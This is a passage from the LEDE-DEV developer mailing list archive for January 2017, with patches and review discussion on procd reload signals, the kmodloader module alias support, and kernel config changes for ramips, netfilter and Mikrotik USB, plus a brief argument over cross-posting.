From: jo at mein.io (Jo-Philipp Wich)
Date: Fri, 13 Jan 2017 14:17:36 +0100
Subject: [LEDE-DEV] procd & custom reload support
In-Reply-To: <bdbb402c-bc06-820b-10c9-17cafc7d376b@universe-factory.net>
References: <CACna6ryXpDYSD4zQZr2WK3-jbUm3HLDkg0kCT=DeYms3E+rPFA@mail.gmail.com>
 <1817975c-1a1d-7ee3-67a4-44908d199b06@mein.io>
 <bdbb402c-bc06-820b-10c9-17cafc7d376b@universe-factory.net>
Message-ID: <f5765e57-188f-f3eb-f1ef-a22026946efa@mein.io>

Hi Matthias,

> Btw., does this support symbolic signal names? Many signal numbers 
> (including SIGUSR1) are arch-dependent (in particular, differ on
> MIPS) (see `man 7 signal`).

at the moment not. One can use $(kill -l SIGUSR1) to resolve the numbers
for now.

~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 801 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170113/ac90eb47/attachment-0001.sig>

From yszhou4tech at gmail.com  Fri Jan 13 06:15:57 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Fri, 13 Jan 2017 22:15:57 +0800
Subject: [LEDE-DEV] [PATCH ubox 3/6] kmodloader: modprobe: skip possible
 command line arguments
In-Reply-To: <5b509a12-6531-0031-fa6a-48a46a234596@nbd.name>
References: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
 <1484135650-16962-4-git-send-email-yszhou4tech@gmail.com>
 <5b509a12-6531-0031-fa6a-48a46a234596@nbd.name>
Message-ID: <CAECwjAgBuOkB5gSP3PE62tYBoGvAs8yKApX51+f5THJ05pBm+w@mail.gmail.com>

On 13 January 2017 at 17:02, Felix Fietkau <nbd at nbd.name> wrote:
> On 2017-01-11 12:54, Yousong Zhou wrote:
>> The kernel may invocate user mode modprobe with the following scheme
>>
>>     modprobe -q -- <module_name>
>>
>> Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
>> ---
>>  kmodloader.c | 13 +++++++++++--
>>  1 file changed, 11 insertions(+), 2 deletions(-)
>>
>> diff --git a/kmodloader.c b/kmodloader.c
>> index b20de6e..b5dc4d1 100644
>> --- a/kmodloader.c
>> +++ b/kmodloader.c
>> @@ -719,8 +719,17 @@ static int main_modprobe(int argc, char **argv)
>>  {
>>       struct module *m;
>>       char *name;
>> +     char *mod = NULL;
>> +     int i;
>>
>> -     if (argc != 2)
>> +     if (argc < 2)
>> +             return print_usage("modprobe");
>> +     for (i = 1; i < argc; i++)
>> +             if (argv[i][0] != '-') {
> Wouldn't it make more sense to use getopt here and fail on invalid options?
>
> - Felix
>

I thought the code intended to be minimal and options are not part of
the game.  That's why all options are just ignored like above.  Though
the argc < 2 check could have been dropped...

If we accept -q and reject others, that means we will introduce a
global quiet flag and will really be quiet?  Or can we depend on
current behaviour of ulog_open(channels=0) to effectively close all
ULOG_XXX channels?

                yousong


From rosenp at gmail.com  Fri Jan 13 07:14:38 2017
From: rosenp at gmail.com (Rosen Penev)
Date: Fri, 13 Jan 2017 07:14:38 -0800
Subject: [LEDE-DEV] [PATCH] ramips: Add I2C driver to the default kernel
 config
In-Reply-To: <20170113030500.8362-1-rosenp@gmail.com>
References: <20170113030500.8362-1-rosenp@gmail.com>
Message-ID: <20170113151438.3205-1-rosenp@gmail.com>

I made a commit that added the RTC driver to the kernel config with
the intent that it would fix hctosys. Unfortunately while the RTC
driver is in there, it's connected through I2C, the driver for which
comes in module form and is thus loaded late. After this commit, it
works fine.

Signed-off by: Rosen Penev <rosenp at gmail.com>
---
 target/linux/ramips/image/mt7621.mk   | 12 +++++-------
 target/linux/ramips/modules.mk        | 16 ----------------
 target/linux/ramips/mt7621/config-4.4 |  2 ++
 3 files changed, 7 insertions(+), 23 deletions(-)

diff --git a/target/linux/ramips/image/mt7621.mk b/target/linux/ramips/image/mt7621.mk
index 6d9a727..fd28e19 100644
--- a/target/linux/ramips/image/mt7621.mk
+++ b/target/linux/ramips/image/mt7621.mk
@@ -30,7 +30,7 @@ define Device/11acnas
   DTS := 11ACNAS
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := WeVO 11AC NAS Router
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-i2c-mt7621 kmod-mt76
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-mt76
 endef
 TARGET_DEVICES += 11acnas
 
@@ -83,7 +83,7 @@ define Device/newifi-d1
   DTS := Newifi-D1
   IMAGE_SIZE := $(ralink_default_fw_size_32M)
   DEVICE_TITLE := Newifi D1
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-i2c-mt7621
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport
 endef
 TARGET_DEVICES += newifi-d1
 
@@ -91,8 +91,7 @@ define Device/pbr-m1
   DTS := PBR-M1
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := PBR-M1
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci \
-	kmod-i2c-mt7621
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci
 endef
 TARGET_DEVICES += pbr-m1
 
@@ -157,7 +156,7 @@ define Device/w2914nsv2
   DTS := W2914NSV2
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := WeVO W2914NS v2
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-i2c-mt7621 kmod-mt76
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-mt76
 endef
 TARGET_DEVICES += w2914nsv2
 
@@ -179,8 +178,7 @@ define Device/witi
   DTS := WITI
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := MQmaker WiTi
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci \
-	kmod-i2c-mt7621
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci
 endef
 TARGET_DEVICES += witi
 
diff --git a/target/linux/ramips/modules.mk b/target/linux/ramips/modules.mk
index 99c5a9d..c2b6f50 100644
--- a/target/linux/ramips/modules.mk
+++ b/target/linux/ramips/modules.mk
@@ -58,22 +58,6 @@ endef
 $(eval $(call KernelPackage,i2c-ralink))
 
 
-I2C_MT7621_MODULES:= \
-  CONFIG_I2C_MT7621:drivers/i2c/busses/i2c-mt7621
-
-define KernelPackage/i2c-mt7621
-  $(call i2c_defaults,$(I2C_MT7621_MODULES),59)
-  TITLE:=MT7621 I2C Controller
-  DEPENDS:=kmod-i2c-core \
-	@(TARGET_ramips_mt7621||TARGET_ramips_mt7628||TARGET_ramips_mt7688)
-endef
-
-define KernelPackage/i2c-mt7621/description
- Kernel modules for enable mt7621 i2c controller.
-endef
-
-$(eval $(call KernelPackage,i2c-mt7621))
-
 define KernelPackage/dma-ralink
   SUBMENU:=Other modules
   TITLE:=Ralink GDMA Engine
diff --git a/target/linux/ramips/mt7621/config-4.4 b/target/linux/ramips/mt7621/config-4.4
index 73c3b39..383370b 100644
--- a/target/linux/ramips/mt7621/config-4.4
+++ b/target/linux/ramips/mt7621/config-4.4
@@ -115,6 +115,8 @@ CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
 CONFIG_HIGHMEM=y
 CONFIG_HW_HAS_PCI=y
 CONFIG_HZ_PERIODIC=y
+CONFIG_I2C=y
+CONFIG_I2C_MT7621=y
 # CONFIG_IMG_MDC_DMA is not set
 CONFIG_INITRAMFS_SOURCE=""
 CONFIG_IRQCHIP=y
-- 
2.9.3



From koen.vandeputte at ncentric.com  Fri Jan 13 07:23:48 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 13 Jan 2017 16:23:48 +0100
Subject: [LEDE-DEV] [PATCH] netfilter: re-enable TEE support for kernel 4.4
Message-ID: <1484321028-5910-1-git-send-email-koen.vandeputte@ncentric.com>

It got disabled in commit 4454a3fb6375cf1adf17f63a54cd7660bc40caa7
but works nicely these days.

Tested on cns3xxx

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 package/kernel/linux/modules/netfilter.mk | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/package/kernel/linux/modules/netfilter.mk b/package/kernel/linux/modules/netfilter.mk
index bc2f349..a5941d2 100644
--- a/package/kernel/linux/modules/netfilter.mk
+++ b/package/kernel/linux/modules/netfilter.mk
@@ -495,7 +495,7 @@ $(eval $(call KernelPackage,ipt-tproxy))
 
 define KernelPackage/ipt-tee
   TITLE:=TEE support
-  DEPENDS:=+kmod-ipt-conntrack @!LINUX_4_4
+  DEPENDS:=+kmod-ipt-conntrack
   KCONFIG:= \
   	CONFIG_NETFILTER_XT_TARGET_TEE
   FILES:= \
-- 
2.7.4



From bb at npl.de  Fri Jan 13 07:52:47 2017
From: bb at npl.de (Bastian Bittorf)
Date: Fri, 13 Jan 2017 16:52:47 +0100
Subject: [LEDE-DEV] [PATCH] procd: update procd.sh to support both:
 signal-names and signal-numbers
Message-ID: <20170113155247.GA22378@medion.lan>

It is automatically detected if the input is a number. If not,
the name is converted to the corresonding number. In general it's
good style to use names and it's more portable: signal numbers can
be architecture-dependent, so we are more safe giving names.

Signed-off-by: Bastian Bittorf <bb at npl.de>
---
 package/system/procd/files/procd.sh | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/package/system/procd/files/procd.sh b/package/system/procd/files/procd.sh
index 8f18cda..695d815 100644
--- a/package/system/procd/files/procd.sh
+++ b/package/system/procd/files/procd.sh
@@ -200,6 +200,7 @@ _procd_add_jail_mount_rw() {
 
 _procd_set_param() {
 	local type="$1"; shift
+	local obj old_obj signal
 
 	case "$type" in
 		env|data|limits)
@@ -213,9 +214,18 @@ _procd_set_param() {
 			json_add_string "" "$@"
 			json_close_array
 		;;
-		nice|reload_signal)
+		nice)
 			json_add_int "$type" "$1"
 		;;
+		reload_signal)
+			signal="$1"
+			test "$signal" -eq "$signal" 2>/dev/null || {
+				set -- $( kill -l ) NOT_FOUND
+				for obj in "$@"; do test "$signal" = "$obj" && break; old_obj="$obj"; done
+				signal="${old_obj%)}"
+			}
+			json_add_int "$type" "$signal"
+		;;
 		pidfile|user|seccomp|capabilities)
 			json_add_string "$type" "$1"
 		;;
-- 
1.9.1



From bb at npl.de  Fri Jan 13 07:55:31 2017
From: bb at npl.de (Bastian Bittorf)
Date: Fri, 13 Jan 2017 16:55:31 +0100
Subject: [LEDE-DEV] procd & custom reload support
In-Reply-To: <1817975c-1a1d-7ee3-67a4-44908d199b06@mein.io>
References: <CACna6ryXpDYSD4zQZr2WK3-jbUm3HLDkg0kCT=DeYms3E+rPFA@mail.gmail.com>
 <1817975c-1a1d-7ee3-67a4-44908d199b06@mein.io>
Message-ID: <20170113155531.GA16611@medion.lan>

* Jo-Philipp Wich <jo at mein.io> [13.01.2017 15:38]:
> To enable it, add "procd_set_param reload_signal 10" to your init script.

i send a patch to the mailinglist,
with this it is possible to write

procd_set_param reload_signal USR1

be warned: if you are e.g. on ramips, than
the signal 10 is 'BUS', so thats not what you want 8-)

bye, bastian


From dave.taht at gmail.com  Fri Jan 13 08:06:10 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Fri, 13 Jan 2017 08:06:10 -0800
Subject: [LEDE-DEV] [Babel-users] Babeld now has procd support on
 OpenWRT/LEDE
In-Reply-To: <2059669512.2430440.1484309292798@mail.yahoo.com>
References: <20170112210152.GB32650@tuxmachine.polynome.dn42>
 <CAA93jw4T+wsSmUoqaqb6KNrZEAZNeojJw_wGoOTdExUj7nzRCQ@mail.gmail.com>
 <2059669512.2430440.1484309292798@mail.yahoo.com>
Message-ID: <CAA93jw5d3yj3w7w99XLf1OT1Pi2O_tQK7gOxR0uW0_kTL+TtaQ@mail.gmail.com>

On Fri, Jan 13, 2017 at 4:08 AM, L. D. Pinney <ldpinney at yahoo.com> wrote:
> DAVE :
>
> WILL YOU PLEASE STOP YOUR FSCKin' CROSS POSTING ???

I did not start the cross-post in this case.

> This is UNRELATED to the OpenWrt / LEDE DEV mailing list...as the change has
> been merged.

Interop with routing protocols... and networking in general... does
exist outside of the openwrt universe. In my case I am deeply
concerned about what happens against older, deployed versions of
Linuxes (and other OSes) with the new multicast-unicast bridge
conversion code in lede. Babel tends to use it, and I am also testing
(in lede!), as per the below, the dhcpv6-pd code, interop-ing with
several devices.

> F O

I'm really sorry that you hate cross posting so much. It must be
terrible to have to elide additional responses or deal with bounce
messages on every 20th email from me. And it must be wonderful to be
living in a world where all you have is openwrt/lede devices on the
network and modern kernels everywhere.

>
> On Friday, January 13, 2017 5:20 AM, Dave Taht <dave.taht at gmail.com> wrote:
>
>
> On Thu, Jan 12, 2017 at 1:01 PM, Baptiste Jonglez
> <baptiste at bitsofnetworks.org> wrote:
>> Hi,
>>
>> Here is yet another OpenWRT-related change for babeld: I just merged procd
>> support for babeld [2], after more than two years of lingering [1].
>>
>> The only user-visible changes should be:
>>
>> - babeld now logs to the system log (visible with "logread") instead of a
>>  file in /var/log.  This is nice for embedded devices, where you don't
>>  want to write too much to the filesystem.  It is still possible to
>>  explicitly configure babeld to use a log file;
>>
>> - babeld is now restarted automatically whenever it crashes;
>>
>> - the usual procd niceties: calling "/etc/init.d/babeld reload" will
>>  restart babeld only if the configuration has changed.
>>
>>
>> Please test babeld 1.8.0-2 and report any resulting breakage.  I would
>> like this change (and the other compatibility change) to make it into the
>> upcoming LEDE release, which is due to happen quite soon.
>
> Groovy.
>
> lede can dynamically insert/delete routes into tables from netifd
> babeld can pull routes from "protos" but not tables.
>
> I spoke with hedecker (? can't remember his email) about somehow
> having a field to export routes into kernel protos in the lede network
> file, he indicated he'd look at it in a few weeks.
>
> (I wanted to get away from ever having to revise the conf file
> dynamically, but it looks like not this release. Not having to restart
> babeld as per the above is a nice improvement though and I'll get on
> testing it this weekend. At the moment I'm going through some mild
> hell with dhcpv6-pd on comcast and adding "sonic" fiber (with a HE
> ipv6 tunnel. Will hopefully have 4 source specific gateways to play
> with here)
>
> In other other news the "rabeld" backport of the gentler route switch
> change loses kernel routes on the vyatta (3.10 based) OS in the
> edgerouter. :(. That said, haven't tested mainline babeld there yet.
> It seems to work on debian.
>
> For those fiddling with edgerouter's default 1.9.x OS, backports of
> cake, iproute, and rabeld are presently here:
> https://build.lochnair.net/
>
>
>> Baptiste
>>
>> [1] https://github.com/openwrt-routing/packages/pull/55
>> [2] https://github.com/openwrt-routing/packages/pull/250
>
>>
>> _______________________________________________
>> Babel-users mailing list
>> Babel-users at lists.alioth.debian.org
>> http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/babel-users
>
>
>
> --
> Dave T?ht
> Let's go make home routers and wifi faster! With better software!
> http://blog.cerowrt.org
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev
>
>
>



-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From joaochainho at gmail.com  Fri Jan 13 08:23:09 2017
From: joaochainho at gmail.com (=?utf-8?Q?Jo=C3=A3o_Cha=C3=ADnho?=)
Date: Fri, 13 Jan 2017 16:23:09 +0000
Subject: [LEDE-DEV]  ar71xx: Detect USB port on Mikrotik RB750UP
Message-ID: <D22410F1-A018-49D6-8E97-4F7FC63F3C2A@gmail.com>

The USB port on Mikrotik RB750UP isn?t detected. This patch provides a fix. Tested and working.

Signed-off-by: Jo?o Cha?nho <joaochainho at gmail.com>
---
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb750.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb750.c
index 5656d3c..c308f95 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb750.c
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb750.c
@@ -169,6 +169,9 @@ static void __init rb750_setup(void)
 	rb750_nand_data.disable_pins = rb750_nand_disable_pins;
 	rb750_nand_data.latch_change = rb750_latch_change;
 	platform_device_register(&rb750_nand_device);
+
+	/* USB */
+	ath79_register_usb();
 }
 
 MIPS_MACHINE(ATH79_MACH_RB_750, "750i", "MikroTik RouterBOARD 750",


From yszhou4tech at gmail.com  Fri Jan 13 09:00:29 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Sat, 14 Jan 2017 01:00:29 +0800
Subject: [LEDE-DEV] [PATCH v2 ubox 0/6] kmodloader: add module alias support
Message-ID: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>

Aliases are essential information for working with kernel modules.  Netfilter
subsystem will request for ipt_hashlimit and ip6t_hashlimit respectively when
called with

	xt_request_find_match(NFPROTO_IPV{4,6}, "hashlimit", 1)
	
The kernel __request_module() will then invoke user mode modprobe to load them

	/sbin/modprobe -q -- ipt_hashlimit
	/sbin/modprobe -q -- ip6t_hashlimit

where ipt_hashlimit and ip6t_hashlimit are aliases of xt_hashlimit

The patch depends on another patch in the build system to restore alias info
to kernel modules.

v2 <- v1

 - Fixed a missing pair of curly parenthesis after avl_for_each_element, and
   this time the code was checked okay with -Wmisleading-indentation
 - Dropped the now redundant argc < 2 check in load_modprobe()

Yousong Zhou (6):
  kmodloader: remove redundant glob wildcard char
  kmodloader: log to kmsg when loading directories of modules
  kmodloader: modprobe: skip possible command line arguments
  kmodloader: fix out-of-bound access when parsing .modinfo
  kmodloader: add module alias awareness
  kmodloader: make insert_module() idempotent

 kmodloader.c | 184 +++++++++++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 153 insertions(+), 31 deletions(-)

-- 
2.6.4



From yszhou4tech at gmail.com  Fri Jan 13 09:00:30 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Sat, 14 Jan 2017 01:00:30 +0800
Subject: [LEDE-DEV] [PATCH v2 ubox 1/6] kmodloader: remove redundant glob
 wildcard char
In-Reply-To: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
References: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484326835-32472-2-git-send-email-yszhou4tech@gmail.com>

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/kmodloader.c b/kmodloader.c
index f80835a..9fe7d7f 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -762,7 +762,7 @@ static int main_modprobe(int argc, char **argv)
 static int main_loader(int argc, char **argv)
 {
 	int gl_flags = GLOB_NOESCAPE | GLOB_MARK;
-	char *dir = "/etc/modules.d/*";
+	char *dir = "/etc/modules.d/";
 	struct module *m;
 	glob_t gl;
 	char *path;
-- 
2.6.4



From yszhou4tech at gmail.com  Fri Jan 13 09:00:31 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Sat, 14 Jan 2017 01:00:31 +0800
Subject: [LEDE-DEV] [PATCH v2 ubox 2/6] kmodloader: log to kmsg when loading
 directories of modules
In-Reply-To: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
References: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484326835-32472-3-git-send-email-yszhou4tech@gmail.com>

syslog may not be ready yet before PREINIT

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index 9fe7d7f..b20de6e 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -27,7 +27,6 @@
 #include <string.h>
 #include <sys/stat.h>
 #include <fcntl.h>
-#include <syslog.h>
 #include <libgen.h>
 #include <glob.h>
 #include <elf.h>
@@ -785,7 +784,7 @@ static int main_loader(int argc, char **argv)
 		return -1;
 	}
 
-	syslog(LOG_INFO, "kmodloader: loading kernel modules from %s\n", path);
+	ULOG_INFO("loading kernel modules from %s\n", path);
 
 	if (glob(path, gl_flags, NULL, &gl) < 0)
 		goto out;
@@ -836,6 +835,8 @@ static int main_loader(int argc, char **argv)
 		avl_for_each_element(&modules, m, avl)
 			if ((m->state == PROBE) || (m->error))
 				ULOG_ERR("- %s - %d\n", m->name, deps_available(m, 1));
+	} else {
+		ULOG_INFO("done loading kernel modules from %s\n", path);
 	}
 
 out:
@@ -881,5 +882,6 @@ int main(int argc, char **argv)
 	if (!strcmp(exec, "modprobe"))
 		return main_modprobe(argc, argv);
 
+	ulog_open(ULOG_KMSG, LOG_USER, "kmodloader");
 	return main_loader(argc, argv);
 }
-- 
2.6.4



From yszhou4tech at gmail.com  Fri Jan 13 09:00:32 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Sat, 14 Jan 2017 01:00:32 +0800
Subject: [LEDE-DEV] [PATCH v2 ubox 3/6] kmodloader: modprobe: skip possible
 command line arguments
In-Reply-To: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
References: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484326835-32472-4-git-send-email-yszhou4tech@gmail.com>

The kernel may invocate user mode modprobe with the following scheme

    modprobe -q -- <module_name>

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index b20de6e..065ac82 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -719,8 +719,15 @@ static int main_modprobe(int argc, char **argv)
 {
 	struct module *m;
 	char *name;
+	char *mod = NULL;
+	int i;
 
-	if (argc != 2)
+	for (i = 1; i < argc; i++)
+		if (argv[i][0] != '-') {
+			mod = argv[i];
+			break;
+		}
+	if (!mod)
 		return print_usage("modprobe");
 
 	if (scan_loaded_modules())
@@ -729,7 +736,7 @@ static int main_modprobe(int argc, char **argv)
 	if (scan_module_folders())
 		return -1;
 
-	name = get_module_name(argv[1]);
+	name = get_module_name(mod);
 	m = find_module(name);
 	if (m && m->state == LOADED) {
 		ULOG_ERR("%s is already loaded\n", name);
-- 
2.6.4



From yszhou4tech at gmail.com  Fri Jan 13 09:00:33 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Sat, 14 Jan 2017 01:00:33 +0800
Subject: [LEDE-DEV] [PATCH v2 ubox 4/6] kmodloader: fix out-of-bound access
 when parsing .modinfo
In-Reply-To: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
References: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484326835-32472-5-git-send-email-yszhou4tech@gmail.com>

Fixes output of "modinfo nf_conntrack_ipv4"

    module:         /lib/modules/4.4.40/nf_conntrack_ipv4.ko
    license:        GPL
    alias:          ip_conntrack
    alias:          nf_conntrack-2
    depends:        nf_conntrack,nf_defrag_ipv4
    src:            %pI4 dst=%pI4

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index 065ac82..c780379 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -302,12 +302,14 @@ static struct module* get_module_info(const char *module, const char *name)
 	}
 
 	strings = map + offset;
-	while (strings && (strings < map + offset + size)) {
+	while (true) {
 		char *sep;
 		int len;
 
 		while (!strings[0])
 			strings++;
+		if (strings >= map + offset + size)
+			break;
 		sep = strstr(strings, "=");
 		if (!sep)
 			break;
@@ -410,12 +412,14 @@ static int print_modinfo(char *module)
 
 	strings = map + offset;
 	printf("module:\t\t%s\n", module);
-	while (strings && (strings < map + offset + size)) {
+	while (true) {
 		char *dup = NULL;
 		char *sep;
 
 		while (!strings[0])
 			strings++;
+		if (strings >= map + offset + size)
+			break;
 		sep = strstr(strings, "=");
 		if (!sep)
 			break;
-- 
2.6.4



From yszhou4tech at gmail.com  Fri Jan 13 09:00:34 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Sat, 14 Jan 2017 01:00:34 +0800
Subject: [LEDE-DEV] [PATCH v2 ubox 5/6] kmodloader: add module alias
 awareness
In-Reply-To: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
References: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484326835-32472-6-git-send-email-yszhou4tech@gmail.com>

To achieve this, the following changes are made

 - scan module folders before scaning loaded modules
 - struct module was splited into struct module_node for the avl tree
   and struct module for storing actual info about modules

The other minor fix is that module.opts is now freed in free_modules()
when appliable

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 152 ++++++++++++++++++++++++++++++++++++++++++++++++++---------
 1 file changed, 129 insertions(+), 23 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index c780379..bcb213b 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -45,22 +45,31 @@ enum {
 };
 
 struct module {
-	struct avl_node avl;
-
 	char *name;
 	char *depends;
 	char *opts;
+	char **aliases;
+	int naliases;
 
 	int size;
 	int usage;
 	int state;
 	int error;
+	int refcnt;			/* number of references from module_node.m */
+};
+
+struct module_node {
+	struct avl_node avl;
+	struct module *m;
+	bool is_alias;
 };
 
 static struct avl_tree modules;
 
 static char **module_folders = NULL;
 
+static void free_module(struct module *m);
+
 static int init_module_folders(void)
 {
 	int n = 0;
@@ -106,16 +115,26 @@ static int init_module_folders(void)
 
 static struct module *find_module(const char *name)
 {
-	struct module *m;
-	return avl_find_element(&modules, name, m, avl);
+	struct module_node *mn;
+	mn = avl_find_element(&modules, name, mn, avl);
+	if (mn)
+		return mn->m;
+	else
+		return NULL;
 }
 
 static void free_modules(void)
 {
-	struct module *m, *tmp;
+	struct module_node *mn, *tmp;
+
+	avl_remove_all_elements(&modules, mn, avl, tmp) {
+		struct module *m = mn->m;
 
-	avl_remove_all_elements(&modules, m, avl, tmp)
-		free(m);
+		m->refcnt -= 1;
+		if (m->refcnt == 0)
+			free_module(m);
+		free(mn);
+	}
 }
 
 static char* get_module_path(char *name)
@@ -208,19 +227,43 @@ static int elf_find_section(char *map, const char *section, unsigned int *offset
 	return -1;
 }
 
+static struct module_node *
+alloc_module_node(const char *name, struct module *m, bool is_alias)
+{
+	struct module_node *mn;
+	char *_name;
+
+	mn = calloc_a(sizeof(*mn),
+		&_name, strlen(name) + 1);
+	if (mn) {
+		mn->avl.key = strcpy(_name, name);
+		mn->m = m;
+		mn->is_alias = is_alias;
+		avl_insert(&modules, &mn->avl);
+		m->refcnt += 1;
+	}
+	return mn;
+}
+
 static struct module *
-alloc_module(const char *name, const char *depends, int size)
+alloc_module(const char *name, const char * const *aliases, int naliases, const char *depends, int size)
 {
 	struct module *m;
 	char *_name, *_dep;
+	char **_aliases;
+	int i, len_aliases;
 
+	len_aliases = naliases * sizeof(aliases[0]);
+	for (i = 0; i < naliases; i++)
+		len_aliases += strlen(aliases[i]) + 1;
 	m = calloc_a(sizeof(*m),
 		&_name, strlen(name) + 1,
-		&_dep, depends ? strlen(depends) + 2 : 0);
+		&_dep, depends ? strlen(depends) + 2 : 0,
+		&_aliases, len_aliases);
 	if (!m)
 		return NULL;
 
-	m->avl.key = m->name = strcpy(_name, name);
+	m->name = strcpy(_name, name);
 	m->opts = 0;
 
 	if (depends) {
@@ -231,13 +274,40 @@ alloc_module(const char *name, const char *depends, int size)
 			_dep++;
 		}
 	}
-
 	m->size = size;
-	avl_insert(&modules, &m->avl);
+	m->naliases = naliases;
+	if (naliases == 0)
+		m->aliases = NULL;
+	else {
+		char *ptr = (char *)_aliases + naliases * sizeof(_aliases[0]);
+		int len;
+
+		i = 0;
+		do {
+			len = strlen(aliases[i]) + 1;
+			memcpy(ptr, aliases[i], len);
+			_aliases[i] = ptr;
+			ptr += len;
+			i++;
+		} while (i < naliases);
+		m->aliases = _aliases;
+	}
+
+	m->refcnt = 0;
+	alloc_module_node(m->name, m, false);
+	for (i = 0; i < m->naliases; i++)
+		alloc_module_node(m->aliases[i], m, true);
 
 	return m;
 }
 
+static void free_module(struct module *m)
+{
+	if (m->opts)
+		free(m->opts);
+	free(m);
+}
+
 static int scan_loaded_modules(void)
 {
 	size_t buf_len = 0;
@@ -262,7 +332,11 @@ static int scan_loaded_modules(void)
 		if (!m.name || !m.depends)
 			continue;
 
-		n = alloc_module(m.name, m.depends, m.size);
+		n = find_module(m.name);
+		if (!n) {
+			/* possibly a module outside /lib/modules/<ver>/ */
+			n = alloc_module(m.name, NULL, 0, m.depends, m.size);
+		}
 		n->usage = m.usage;
 		n->state = LOADED;
 	}
@@ -277,6 +351,8 @@ static struct module* get_module_info(const char *module, const char *name)
 	int fd = open(module, O_RDONLY);
 	unsigned int offset, size;
 	char *map = MAP_FAILED, *strings, *dep = NULL;
+	const char *aliases[32];
+	int naliases = 0;
 	struct module *m = NULL;
 	struct stat s;
 
@@ -317,10 +393,17 @@ static struct module* get_module_info(const char *module, const char *name)
 		sep++;
 		if (!strncmp(strings, "depends=", len + 1))
 			dep = sep;
+		else if (!strncmp(strings, "alias=", len + 1)) {
+			if (naliases < ARRAY_SIZE(aliases))
+				aliases[naliases++] = sep;
+			else
+				ULOG_WARN("module %s has more than %d aliases: truncated",
+						name, ARRAY_SIZE(aliases));
+		}
 		strings = &sep[strlen(sep)];
 	}
 
-	m = alloc_module(name, dep, s.st_size);
+	m = alloc_module(name, aliases, naliases, dep, s.st_size);
 
 	if (m)
 		m->state = SCANNED;
